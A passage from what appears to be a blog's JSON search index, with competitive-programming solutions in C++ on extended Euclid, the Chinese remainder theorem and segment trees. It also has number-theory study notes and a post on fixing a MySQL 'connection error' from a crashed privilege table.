如果，要得到X的最小正整数解，就还是原来那个方法： X%=M; if (X\u003c0) X+=M; 参考博客 这篇题解是我看了那么多讲得最清楚的一篇了….虽然证明的那个地方笔误了。。。好在对照下代码就看出来了（个鬼，我问了好几个人，想到现在。。。最后发现是笔误。好气啊） 这道题实际上给出了解线性同余方程组的一般做法（即，不要求所有的m两两互质） 这种做法的理论依据是扩展欧几里得算法，和中国剩余定理没什么关系… 不过既然都是解线性同余方程组。。。非要把这种做法叫什么ex_crt…我也不是很反对…. 1/* *********************************************** 2Author :111qqz 3Created Time :Sat 15 Oct 2016 02:42:54 AM CST 4File Name :code/poj/2891.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; ","date":"2016-10-14","externalUrl":null,"permalink":"/2016/10/poj-2891/","section":"Posts","summary":"题目链接 题意：给出k个方程，形式为 x==r1,求最小的正数x，无解输出-1.","tags":["number theory","中国剩余定理","扩展欧几里得算法"],"title":"poj 2891 Strange Way to Express Integers (扩展欧几里得算法解一般线性同余方程组)","type":"post"},{"categories":["ACM"],"content":"题目链接： **题意：**人自出生起就有体力，情感和智力三个生理周期，分别为23，28和33天。一个周期内有一天为峰值，在这一 天，人在对应的方面（体力，情感或智力）表现最好。通常这三个周期的峰值不会是同一天。现在给出三个日 期，分别对应于体力，情感，智力出现峰值的日期。然后再给出一个起始日期，要求从这一天开始，算出最少 再过多少天后三个峰值同时出现。 思路：解一个线性同余方程。crt的模板题。 关于crt的讲解：中国剩余定理学习笔记 几年前就A过了，现在重新写题解复习一下。 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 13 Oct 2016 08:00:04 PM CST 4File Name :code/poj/1006.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int p,e,i,d; 34int a[5],m[5]; 35void exgcd(int a,int b,int \u0026x,int \u0026y) 36{ 37 if (b==0) 38 { 39 x = 1; 40 y = 0; 41 return; 42 } 43 exgcd(b,a%b,x,y); 44 int tmp = x; 45 x = y; 46 y = tmp - a/b*y; 47} 48int crt(int a[],int m[],int n) 49{ 50 int M = 1; 51 int ans = 0 ; 52 for ( int i = 1 ; i \u003c= n; i++) M*=m[i]; 53 54 for ( int i = 1 ; i \u003c= n ; i++) 55 { 56 int x,y; 57 int Mi = M/m[i]; 58 exgcd(Mi,m[i],x,y); 59 ans = ( ans + Mi * x * a[i])%M; 60 } 61 if (ans\u003c0) ans+=M; 62 return ans; 63} 64int main() 65{ 66 #ifndef ONLINE_JUDGE 67 freopen(\"code/in.txt\",\"r\",stdin); 68 #endif 69 70 int cas = 0 ; 71 m[1] = 23; 72 m[2] = 28; 73 m[3] = 33; 74 int T = 21252; 75 while (~scanf(\"%d%d%d%d\",\u0026p,\u0026e,\u0026i,\u0026d)) 76 { 77 if (p==-1\u0026\u0026e==-1\u0026\u0026i==-1\u0026\u0026d==-1) break; 78 a[1] = p; 79 a[","date":"2016-10-13","externalUrl":null,"permalink":"/2016/10/poj-1006-biorhythms-/","section":"Posts","summary":"题目链接： **题意：**人自出生起就有体力，情感和智力三个生理周期，分别为23，28和33天。一个周期内有一天为峰值，在这一","tags":["number theory","中国剩余定理"],"title":"poj 1006 Biorhythms (中国剩余定理模板题)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出a,b,d，分别表示a,b两种刻度的砝码，以及要称量的物体重量为d.现在保证能称量出给定重量的物体，问两种砝码个数的和最小的时候，两种砝码分别有多少。如果有多组解，那么要求weight of(ax + by) 最小。 思路：求特解直接扩展欧几里得… 关键是怎么找到绝对值和最小的。。 我就是两个方向跑了下。。。 一开始因为把weight of (ax+by) （求得还是绝对值最小）理解成了 ax+by最小。。导致WA了半天。。。。sigh…. 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 13 Oct 2016 04:23:13 PM CST 4File Name :code/poj/2142.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31LL a,b,d; 32LL exgcd( LL a,LL b,LL \u0026x,LL \u0026y) 33{ 34 if (b==0) 35 { 36 x = 1; 37 y = 0; 38 return a; 39 } 40 LL ret = exgcd(b,a%b,x,y); 41 LL tmp = x; 42 x = y; 43 y = tmp - a/b*y; 44 return ret; 45} 46LL num ( LL x) 47{ 48 if (x\u003c0) return -x; 49 return x; 50} 51LL cal( LL x,LL y) 52{ 53 return a*num(x)+b*num(y); 54} 55bool ok( LL x,LL y,LL gx,LL gy) 56{ 57 if (num(x)+num(y)\u003enum(x+gx)+num(y-gy)) return true; 58 if (num(x)+num(y)==num(x+gx)+num(y-gy)\u0026\u0026cal(x,y)\u003ecal(x+gx,y-gy)) return true; 59 return false; 60} 61bool ok2( LL x,LL y,LL gx,LL gy) 62{ 63 if (num(x) + num(y) \u003e num(x-gx) + num(y+gy)) return true; 64 if (num(x) + num(y) ==num (x-gx) + num(y+gy)\u0026\u0026cal(x,y)\u003ecal(x-gx,y+gy)) return true; 65 return false; 66} 67int main() 68{ 69 #ifndef ONLINE_JUDGE 70 freopen(\"code","date":"2016-10-13","externalUrl":null,"permalink":"/2016/10/poj-2142/","section":"Posts","summary":"题目链接 题意：给出a,b,d，分别表示a,b两种刻度的砝码，以及要称量的物体重量为d.现在保证能称量出给定重量的物体，问两种砝码个数的和最小的时候，两种砝码分别有多少。如果有多组解，那么要求weight of(ax + by) 最小。","tags":["number theory","扩展欧几里得算法"],"title":"poj 2142 The Balance (扩展欧几里得算法)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： 问 循环for ( int i = a ; i !=b; i+=c)在% （2^k）的意义下循环了多少次。 思路： 一般的思路是： 列方程… 化成扩展欧几里得算法的形式。。。 根据裴蜀定理判断解是否存在… 然后用对用扩展欧几里得算法求出的X,Y按照题目要求调整。 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 13 Oct 2016 03:57:06 PM CST 4File Name :code/poj/2115.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31LL a,b,c,k; 32LL exgcd(LL a,LL b,LL \u0026x,LL \u0026y) 33{ 34 if (b==0) 35 { 36 x = 1; 37 y = 0; 38 return a; 39 } 40 LL ret = exgcd(b,a%b,x,y); 41 LL tmp = x; 42 x = y; 43 y = tmp - a/b*y; 44 return ret; 45} 46int main() 47{ 48 #ifndef ONLINE_JUDGE 49 freopen(\"code/in.txt\",\"r\",stdin); 50 #endif 51 while (~scanf(\"%lld%lld%lld%lld\",\u0026a,\u0026b,\u0026c,\u0026k)) 52 { 53 if (a==0\u0026\u0026b==0\u0026\u0026c==0\u0026\u0026k==0) break; 54 k = 1LL\u003c\u003ck; 55 LL X,Y,GCD; 56 GCD = exgcd(c,k,X,Y); 57 if ((b-a)%GCD) 58 { 59 puts(\"FOREVER\"); 60 continue; 61 } 62 else 63 { 64 X = X * ((b-a)/GCD); 65 LL gx = k/GCD; 66 X = (X % gx + gx) % gx; 67 printf(\"%lld\\n\",X); 68 } 69 } 70 #ifndef ONLINE_JUDGE 71 fclose(stdin); 72 #endif 73 return 0; 74}","date":"2016-10-13","externalUrl":null,"permalink":"/2016/10/poj-2115-c-looooops-/","section":"Posts","summary":"题目链接 题意： 问 循环for ( int i = a ; i !=b; i+=c)在% （2^k）的意义下循环了多少次。","tags":["number theory","扩展欧几里得算法","裴蜀定理"],"title":"poj 2115 C Looooops (扩展欧几里得算法)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：两只青蛙初始在数轴的x,y点，单位时间内分别可以向右跳m米和n米，数轴是环型的，长度为L，问两只青蛙能否相遇，以及相遇时跳的次数。 思路：相遇就是同一时间在同一地点。 那么有方程 x+ Cm = y + Cn + k*L 其中C为跳的次数，k为之间差了L的个数（可以理解为被套圈的圈数） 化简得到 C(m-n) + K*L = y-x. 根据裴蜀定理，该方程有解，当且仅当y-x是gcd(m-n,L)的倍数。 然后根据扩展欧几里得算法，需要注意的是其中可能有负数。 如果a是负数，可以把问题转化成 （ 为a的绝对值），然后令 。 第二个需要注意的是，扩展欧几里得算法求出的是ax+by=gcd(a,b)的解，x,y还要乘对应的倍数才能得到正确的解。 第三个需要注意的是，跳的次数一定为正，这是隐含条件。 用了上道题用的while去得到第一个大于0的X会TLE 所以其实** X = ( X % gx + gx) %gx**就好。。。？ （其中gx = b/gcd(a,b)） 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 12 Oct 2016 08:43:02 PM CST 4File Name :code/poj/1061.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31LL x,y,m,n,L; 32LL exgcd( LL a,LL b, LL \u0026x,LL \u0026y) 33{ 34 if (b==0) 35 { 36 x = 1LL; 37 y = 0LL; 38 return a; 39 } 40 LL ret = exgcd(b,a%b,x,y); 41 LL tmp = x; 42 x = y; 43 y = tmp - a/b*y; 44 return ret; 45} 46int main() 47{ 48 #ifndef ONLINE_JUDGE 49 freopen(\"code/in.txt\",\"r\",stdin); 50 #endif 51 cin\u003e\u003ex\u003e\u003ey\u003e\u003em\u003e\u003en\u003e\u003eL; 52 LL tmp1 = y-x; 53 LL tmp2 = m-n; 54/* LL X,Y,GCD; 55 GCD = exgcd(tmp2,L,X,Y); 56 if (tmp1%GCD) puts(\"Impossible\"); 57 else 58 { 59 X = X * (tmp1/GCD); 60 LL gx = L/GCD; 61 if (gx\u003c0) gx = - gx; 62 X = (X%gx +gx)%gx; 63 printf(\"%lld\\n\",X); 64 } ","date":"2016-10-13","externalUrl":null,"permalink":"/2016/10/poj-1061--/","section":"Posts","summary":"题目链接 题意：两只青蛙初始在数轴的x,y点，单位时间内分别可以向右跳m米和n米，数轴是环型的，长度为L，问两只青蛙能否相遇，以及相遇时跳的次数。","tags":["扩展欧几里得算法","裴蜀定理"],"title":"poj 1061 青蛙的约会 （扩展欧几里得算法（负数的处理））","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：问ax+by=1的一组x\u003e0的解，如果无解输出sorry. 思路：根据裴蜀定理， ax+by=1有解当且gcd(a,b)=1。 然后根据扩展欧几里得算法，我们可以得到一组x,y。需要注意的是，这只是其中一组解。 x,y的通解为：**(x+kgx , y-kgy ） 其中：gx= b/gcd(a,b),gy = a/gcd(a,b),k为任意整数 ** 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 12 Oct 2016 07:30:20 PM CST 4File Name :code/hdu/2669.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31int a,b; 32int exgcd( int a,int b,int \u0026x,int \u0026y) 33{ 34 if (b==0) 35 { 36 x = 1; 37 y = 0; 38 return a; 39 } 40 int ret = exgcd(b,a%b,x,y); 41 int tmp = x; 42 x = y; 43 y = tmp - a/b*y; 44 return ret; 45} 46int main() 47{ 48 #ifndef ONLINE_JUDGE 49 freopen(\"code/in.txt\",\"r\",stdin); 50 #endif 51 while (~scanf(\"%d%d\",\u0026a,\u0026b)) 52 { 53 int x,y; 54 if (exgcd(a,b,x,y)==1) 55 { 56 while (x\u003c0) 57 { 58 x += b; 59 y -= a; 60 } 61 printf(\"%d %d\\n\",x,y); 62 } 63 else 64 { 65 puts(\"sorry\"); 66 } 67 } 68 #ifndef ONLINE_JUDGE 69 fclose(stdin); 70 #endif 71 return 0; 72}","date":"2016-10-12","externalUrl":null,"permalink":"/2016/10/hdu-2669/","section":"Posts","summary":"题目链接 题意：问ax+by=1的一组x\u003e0的解，如果无解输出sorry.","tags":["number theory","扩展欧几里得算法","裴蜀定理"],"title":"hdu 2669 Romantic (扩展欧几里得模板题)","type":"post"},{"categories":["随笔杂谈"],"content":"我信任学姐。","date":"2016-10-11","externalUrl":null,"permalink":"/2016/10/20161011/","section":"Posts","summary":"我信任学姐。","tags":["算法竞赛"],"title":"20161011","type":"post"},{"categories":["ACM"],"content":"前置技能点： 维基百科_裴蜀定理（贝祖等式） 对任何整数 ， 和它们的最大公约数 ，关于未知数 和 的线性丢番图方程（称为裴蜀等式）： 有整数解时当且仅当_m_是_d_的倍数。裴蜀等式有解时必然有无穷多个整数解，每组解 、 都称为裴蜀数，可用扩展欧几里得算法求得。 特别地，方程 有整数解当且仅当整数_a_和_b_互素。（kk:因为1(m=1)只可能是1(d=1)的倍数，也就是说gcd(a,b)=1，即a,b互质） 维基百科_扩展欧几里得算法 已知整数a、b，扩展欧几里得算法可以在求得a、b的最大公约数的同时，能找到整数x、y（其中一个很可能是负数），使它们满足贝祖等式 ![ax + by = \\gcd(a, b).](https://wikimedia.org/api/rest_v1/media/math/render/svg/72fe07a990a7ce59a499626f59b1ce588c8f6cda) 通常谈到[最大公约数](https://zh.wikipedia.org/wiki/)时，我们都会提到一个非常基本的事实：**给予二整数a、b，必存在有整数x、y使得ax + by = gcd(a,b)**[[1]](https://zh.wikipedia.org/wiki/#cite_note-1)。 有两个数a,b，对它们进行辗转相除法，可得它们的最大公约数——这是众所周知的。然后，收集辗转相除法中产生的式子，倒回去，可以得到ax+by=gcd(a,b)的整数解。 例子： 求二元一次不定方程 的整数解。 47 = 30 * 1 + 17 30 = 17 * 1 + 13 17 = 13 * 1 + 4 13 = 4 * 3 + 1 然后把它们改写成“余数等于”的形式 17 = 47 * 1 + 30 * (-1) //式1 13 = 30 * 1 + 17 * (-1) //式2 4 = 17 * 1 + 13 * (-1) //式3 1 = 13 * 1 + 4 * (-3) 然后把它们**“倒回去”** 1 = 13 * 1 + 4 * (-3) //应用式3 1 = 13 * 1 + [17 * 1 + 13 * (-1)] * (-3) 1 = 13 * 4 + 17 * (-3) //应用式2 1 = [30 * 1 + 17 * (-1)] * 4 + 17 * (-3) 1 = 30 * 4 + 17 * (-7) //应用式1 1 = 30 * 4 + [47 * 1 + 30 * (-1)] * (-7) 1 = 30 * 11 + 47 * (-7) 得解x=-7, y=11。 1int exgcd(int a,int b,int \u0026x,int \u0026y) 2{ 3 if(b==0) 4 { 5 x=1; 6 y=0; 7 return a; 8 } 9 int ret=exgcd(b,a%b,x,y); 10 int tmp=x; 11 x=y; 12 y=tmp-a/b*y; 13 return ret; 14} Acdreamer的博客_中国剩余定理 维基百科_中国剩余定理 用现代数学的语言来说明的话，中国剩余定理给出了以下的一元线性同余方程组： 有解的判定条件，并用**构造法**给出了在有解情况下解的具体形式。 重点是：中国剩余定理是一种构造法。","date":"2016-10-11","externalUrl":null,"permalink":"/2016/10/crt/","section":"Posts","summary":"前置技能点： 维基百科_裴蜀定理（贝祖等式） 对任何整数 ， 和它们的最大公约数 ，关于未知数 和 的线性丢番图方程（称为裴蜀等式）：","tags":["number theory","中国剩余定理","扩展欧几里得算法","裴蜀定理"],"title":"中国剩余定理(crt)学习笔记","type":"post"},{"categories":["ACM"],"content":"先放资料。 前置技能点： # 剩余系 剩余系**:设模为m,则根据余数可将所有的整数分成m类，分别记成[0],[1],[2],…[m-1]****，** 这m个数**{0,1,2,****…****m-1}**称为一个完全剩余系， 每个数称为相应类的代表元。 当m=10（偶数）时候，则{0,1,2,3,4,5,6,7,8,9}是最小非负完全剩余系 {-5,-4,-3,-2,-1,0,1,2,3,4,5} 是绝对值最小完全剩余系 {-4,-3,-2,-1,0,1,2,3,4,5} 绝对值最小 {1,2,3,4,5,6,7,8,9,10}是最小正完全剩余系 简化剩余系:在每个剩余类选取至1个与m互素代表元构成简化剩余系。 当m=10则,{0,1,2,3,4,5,6,7,8,9} 完全剩余系 {1,3,7,9}是简化剩余系(x,10)=1 当m=5则，{0,1,2,3,4}为完全剩余系, {1,2,3,4}是简化剩余系，因为除去余0(正好是倍数)外，其它都互素。 f(m)=欧拉函数=|{t|0\u003ct\u003cm, (t, m)=1}| =简化剩余系的元素个数 维基百科_高斯引理 设_p_为奇质数，a_是一个与_p互质的整数。考虑以下数组： 以及它们对_p_的最小非负剩余。这些剩余两两不等（kk:这些剩余两两不等的证明：可以考虑反证，假设两个不同的数x,y对于p同余， 那么x-y和0关于p同余，而x-y同时关于a同余，a与p互质，矛盾。因此这些剩余两两不等），因此我们共有 个两两不等的介于1和_p（kk:这里似乎有问题，如果剩余是在1..p之间，那么前面应该是说最小正剩余而不是最小非负剩余，最小非负剩余应该是在0..p-1之间）之间的整数： 。设其中有_n_个数比_p/2大，那么高斯引理声称： 上式左边是勒让德符号，当其值为+1时，表示_a_是模_p_的二次剩余；其值为-1时，表示_a_是模_p_的二次非剩余。 用通俗的语言来说，就是： 里面比_p_/2大的有偶数个，那么_a_是模_p_的二次剩余，如果有奇数个，那么_a_是模_p_的二次非剩余。 正片： # 维基百科_勒让德符号 定义： 勒让德符号 （有时为了印刷上的方便，写成(a|p))有下列定义： ![\\left({\\frac {a}{p}}\\right)={\\begin{cases}\\quad 0\\\\+1\\\\-1\\end{cases}}](https://wikimedia.org/api/rest_v1/media/math/render/svg/ddbfff4690a7d39fe7c2fcd69885dc8f36f2ed7c) 如果![a\\equiv 0{\\pmod {p}}](https://wikimedia.org/api/rest_v1/media/math/render/svg/30d65a6f62fe8c414ef6c4b123da631d1125594f) 如果![a\\not \\equiv 0{\\pmod {p}}](https://wikimedia.org/api/rest_v1/media/math/render/svg/520a34d8efca5436576b29f6765af091ad07b271) ，且对于某个整数 如果不存在整数![x](https://wikimedia.org/api/rest_v1/media/math/render/svg/87f9e315fd7e2ba406057a97300593c4802b53e4) ，使得 。 如果(a|p) = 1，a 便称为二次剩余(mod p)；如果(a|p) = −1，则 a 称为二次非剩余(mod p)。通常把零视为一种特殊的情况。 性质： 勒让德符号有许多有用的性质，可以用来加速计算。它们包括： 1 * ![\\left({\\frac {ab}{p}}\\right)=\\left({\\frac {a}{p}}\\right)\\left({\\frac {b}{p}}\\right)](https://wikimedia.org/api/rest_v1/media/math/render/svg/0c8876ab646dd7c9976bc54dd7487527f77bd202) （它是一个**完全积性函数**(kk:","date":"2016-10-10","externalUrl":null,"permalink":"/2016/10/cipollas-algorithm/","section":"Posts","summary":"先放资料。 前置技能点： # 剩余系","tags":["number theory","二次剩余","剩余系"],"title":"二次剩余（Cipolla's algorithm）学习笔记","type":"post"},{"categories":["其他"],"content":"其实 东西之前出现过…不过好像重启一下服务器就可以了？ 这次比较麻烦。 一开始我是直接google 了这条错误信息，结果答案五花八门，或者说…可能的原因非常多。 排查了几个。。。还是没有搞定。。。 突然想到。。。。为何不直接看log….我好傻啊。 12016-10-10 10:36:54 3755 [Note] IPv6 is not available. 22016-10-10 10:36:54 3755 [Note] - '0.0.0.0' resolves to '0.0.0.0'; 32016-10-10 10:36:54 3755 [Note] Server socket created on IP: '0.0.0.0'. 42016-10-10 10:36:54 3755 [ERROR] /alidata/server/mysql/bin/mysqld: Table './mysql/user' is marked as crashed and last (automatic?) repair failed 52016-10-10 10:36:54 3755 [ERROR] Fatal error: Can't open and lock privilege tables: Table './mysql/user' is marked as crashed and last (automatic?) repair failed 6161010 10:36:54 mysqld_safe mysqld from pid file /alidata/server/mysql/data/iZ287lyogf4Z.pid ended 7161010 10:42:20 mysqld_safe Starting mysqld daemon with databases from /alidata/server/mysql/data 82016-10-10 10:42:20 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details). 92016-10-10 10:42:20 4118 [Note] Plugin 'FEDERATED' is disabled. 102016-10-10 10:42:20 4118 [Note] InnoDB: Using mutexes to ref count buffer pool pages 112016-10-10 10:42:20 4118 [Note] InnoDB: The InnoDB memory heap is disabled 122016-10-10 10:42:20 4118 [Note] InnoDB: Mutexes and rw_locks use InnoDB's own implementation 132016-10-10 10:42:20 4118 [Note] InnoDB: Memory barrier is not used 142016-10-10 10:42:20 4118 [Note] InnoDB: Compressed tables use zlib 1.2.3 152016-10-10 10:42:20 4118 [Note] InnoDB: Using Linux native AIO 162016-10-10 10:42:20 4118 [Note] InnoDB: Not using CPU crc32 instructions 172016-10-10 10:42:20 4118 [Note] InnoDB: Initializing buffer pool, size = 128.0M 182016-10-10 10:42:20 4118 [Note] InnoDB: Completed initialization of buffer pool 192016-10-10 10:","date":"2016-10-10","externalUrl":null,"permalink":"/2016/10/database-connection-error-/","section":"Posts","summary":"其实 东西之前出现过…不过好像重启一下服务器就可以了？","tags":["mysql"],"title":"database connection error 的解决方案","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给一个仅由小写字母组成的字符串，然后m个操作，每个操作一个区间，要求把区间中排列成字典序最小的回文串，如果不能形成回文串，就忽略该操作。 思路：和上一道线段树优化计数排序的题目很像，几乎是一样的。 同样的，26棵线段树，每种字母对应一棵。 每次统计询问区间中每种字母的个数。 然后先判断是否能形成回文（奇数长度只有一个个数为奇数的，偶数长度不能出现个数为奇数的） 能的话重置区间，然后前后分别覆盖。 注意如果是奇数长度的话，记得先覆盖中间点。 需要注意这道题的输入输出方式不是标准的。。。而是要加文件。。。不然会MLE 1 然而Tle 19….Tle了好久。。。 最后换了种线段树的写法就过了。。。 然而后面这种写法就一定好么。。。。好像也不是。。。 总之是个挺玄学的东西。。。。不管了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月05日 星期三 04时00分51秒 4File Name :code/cf/problem/240F.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cbitset\u003e 19#include \u003cbits/stdc++.h\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+1; 34int tree[26][N*4]; 35int lazy[26][N*4]; 36int n,m; 37char st[N]; 38int cnt[26]; 39int L,R; 40inline bool scan_d(int \u0026num) 41{ 42 char in;bool IsN=false; 43 in=getchar(); 44 if(in==EOF) return false; 45 while(in!='-'\u0026\u0026(in\u003c'0'||in\u003e'9')) in=getchar(); 46 if(in=='-'){ IsN=true;num=0;} 47 else num=in-'0'; 48 while(in=getchar(),in\u003e='0'\u0026\u0026in\u003c='9'){ 49 num*=10,num+=in-'0'; 50 } 51 if(IsN) num=-num; 52 return true; 53} 54void PushUp(int rt,int id) 55{ 56 tree[id][rt] = tree[id][rt\u003c\u003c1] + tree[id][rt\u003c\u003c1|1]; 57} 58void PushDown(int l,int r,int rt,int id) 59{ 60 if (lazy[id][rt]==-1) return; 61","date":"2016-10-05","externalUrl":null,"permalink":"/2016/10/cf240f/","section":"Posts","summary":"题目链接 题意：给一个仅由小写字母组成的字符串，然后m个操作，每个操作一个区间，要求把区间中排列成字典序最小的回文串，如果不能形成回文串，就忽略该操作。","tags":["回文串","线段树"],"title":"codeforces 240 F. TorCoder (线段树)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出一个字符串，仅由小写字母组成。现在给出q个操作，每个操作l,r,k三个参数，k=1表示把区间[l,r]变为升序排列，k=0表示把区间[l,r]变为降序排列。 思路：首先，最重要的一点是，由于只有26个字母，联想到计数排序。 对于字符集数目比较小情况，一定要想到计数排序。 对于字符集数目比较小情况，一定要想到计数排序。 对于字符集数目比较小情况，一定要想到计数排序。 那么我们回顾计数排序，不妨考虑升序排列的情况，是怎么做的呢？ 做法是统计该区间中每种字符的个数，然后按照字符的大小，从小到大在区间上从左到右得放置每种字符。 大概是这样子： 1for(int j=x;j\u003c=y;j++) 2 cnt[s[j] - 'a']++; 3ind = 0; 4for(int j=x;j\u003c=y;j++) 5{ 6 while(cnt[ind] == 0) 7 ind++; 8 s[j] = ind + 'a'; 9 cnt[ind]--; 10} 然而这个复杂度每次是o(n)的。。。 我们需要用线段树来优化计数排序的过程。。。 思考计数排序其实分为两个过程： 一是统计某区间中每个字符的个数。 二是将字符按照字符的大小顺序重新放回区间。 我们可以建26棵线段树，一种字母对应一棵。 对于过程一，我们可以直接query. 对于过程2，由于相同的字母总是相邻在一起的，因此可以用线段树成段更新来优化，也就是lazy标记。 tree[id][rt]表示第id棵线段树对应的区间中字母id+‘a’-1的个数。 lazy[id][rt]三种值，-1表示没有标记，0表示重置标记，1表示被某种字母覆盖的标记。（重置的意思是，该区间被排序了，但是还不确定该区间上字母是哪些） 输出的时候，对于某个位置，只要query到26个字母中值不为0的那个输出就好了。 总的复杂度：O(26qlgn) 代码注释中还有部分细节和理解 1/* *********************************************** 2Author :111qqz 3Created Time :2016年10月04日 星期二 23时59分11秒 4File Name :code/cf/problem/558E.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cbitset\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 